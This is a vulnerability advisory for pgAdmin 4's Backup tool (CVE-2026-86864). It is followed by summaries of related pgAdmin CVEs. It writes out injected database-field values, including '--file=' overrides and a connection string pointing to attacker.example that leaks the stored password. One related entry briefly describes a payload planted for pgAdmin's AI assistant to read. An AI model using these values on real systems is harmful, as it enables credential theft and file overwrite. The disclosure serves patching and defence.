CVE-2026-86864
HighCVSS 8.8Summary
In pgAdmin 4's Backup tool, the client-supplied database name was passed to pg_dump as a bare trailing positional argument without validation. Because pg_dump parses options with getopt_long, which permutes arguments, a value beginning with a dash (e.g. --file=/path) was treated as an option, overriding the previously set --file and allowing files to be written outside the File Manager storage directory. The same field also allowed connection-string injection, redirecting pg_dump to an attacker-controlled server along with the database password from the PGPASSWORD environment variable.
Risk Assessment
Any authenticated user with the tools_backup permission (granted to the default User role) can create and overwrite arbitrary files as the pgAdmin operating-system account, including destroying pgAdmin's own configuration database, and can leak database credentials to an attacker-nominated endpoint.
Recommendation
Update pgAdmin 4 to a version containing the fix (9.18 or later), where the database name is supplied via the PGDATABASE environment variable instead of the command-line argument vector. Until patched, restrict the tools_backup permission to trusted users.
Other vulnerabilities in pgAdmin 4
See all- CVE-2026-86862Medium
The vulnerability in pgAdmin 4 affects the Restore and Maintenance tools, which pass the 'database' field directly as the --dbname argument to pg_restore and psql. A value containing an equals sign is expanded by libpq into a full connection string, potentially redirecting the connection to an attacker-controlled server. This can lead to disclosure of the decrypted stored database password and enable outbound connections from the pgAdmin host to arbitrary network addresses.
- CVE-2026-86861Medium
In pgAdmin 4, the File Manager save_file endpoint validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call, without O_NOFOLLOW. As a result, if the final path component was replaced with a symbolic link in the interval between the check and the write, the write followed the link and could create or overwrite an arbitrary file as the operating-system account running pgAdmin. This affects pgAdmin 4 from the introduction of the containment check in the File Manager save path before 9.18.
- CVE-2026-7819High
There is a path traversal vulnerability using symbolic links in pgAdmin 4 File Manager. An authenticated user can create a symbolic link in their directory pointing outside of it, allowing data to be written to any path accessible by the pgAdmin process.
- CVE-2026-7818High
In pgAdmin 4 FileBackedSessionManager, there is a vulnerability to deserialization of untrusted data, which can lead to remote code execution at the operating system level. This issue arises from the lack of proper integrity checks before deserializing session file contents.
- CVE-2026-7816High
In pgAdmin 4 before version 9.15, there is an OS command injection vulnerability (CWE-78) in the Import/Export query export feature. An authenticated user could inject malicious commands, leading to arbitrary command execution on the pgAdmin server or arbitrary file writes.
- CVE-2026-7815High
A SQL injection vulnerability in the pgAdmin 4 Maintenance Tool allows an authenticated user with tools_maintenance permissions to execute arbitrary SQL commands on the PostgreSQL server. Exploiting this vulnerability could lead to privilege escalation and execution of operating system commands on the database host.
- CVE-2026-86863Critical
In pgAdmin 4, the 'webserver' authentication source was vulnerable because WebserverAuthentication.get_user() fell back to reading the username directly from inbound HTTP request headers when the WSGI/CGI environment lookup returned nothing. As a result, any client able to reach pgAdmin could supply that header itself and authenticate as any username, including an existing Administrator, without a password. The issue affects versions from 6.2 before 9.18 and only applies when 'webserver' is enabled in AUTHENTICATION_SOURCES.
- CVE-2026-17566Critical
A vulnerability in pgAdmin 4 allows remote code execution (RCE) via injection into the Import/Export Data tool. The validation function incorrectly handles backslashes in SQL strings, enabling bypass of protections and addition of a TO PROGRAM clause to psql commands.
- CVE-2026-17351Critical
A vulnerability in pgAdmin 4 (versions 9.13 to 9.16) allows bypassing the CVE-2026-12045 fix by injecting SQL queries into the AI assistant. An attacker can plant a malicious payload in an object read by the assistant, leading to execution of multiple SQL statements, including write or remote code execution.
- CVE-2026-17349Critical
In the adhoc_connect_server function in pgAdmin 4 9.0-9.16, when a non-owner user clones a server, all columns including credentials (passwords) and ownership flags are copied. This allows an attacker to take over the cloned server and use database passwords belonging to another user (e.g., an administrator).
Original NVD description (English source)
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.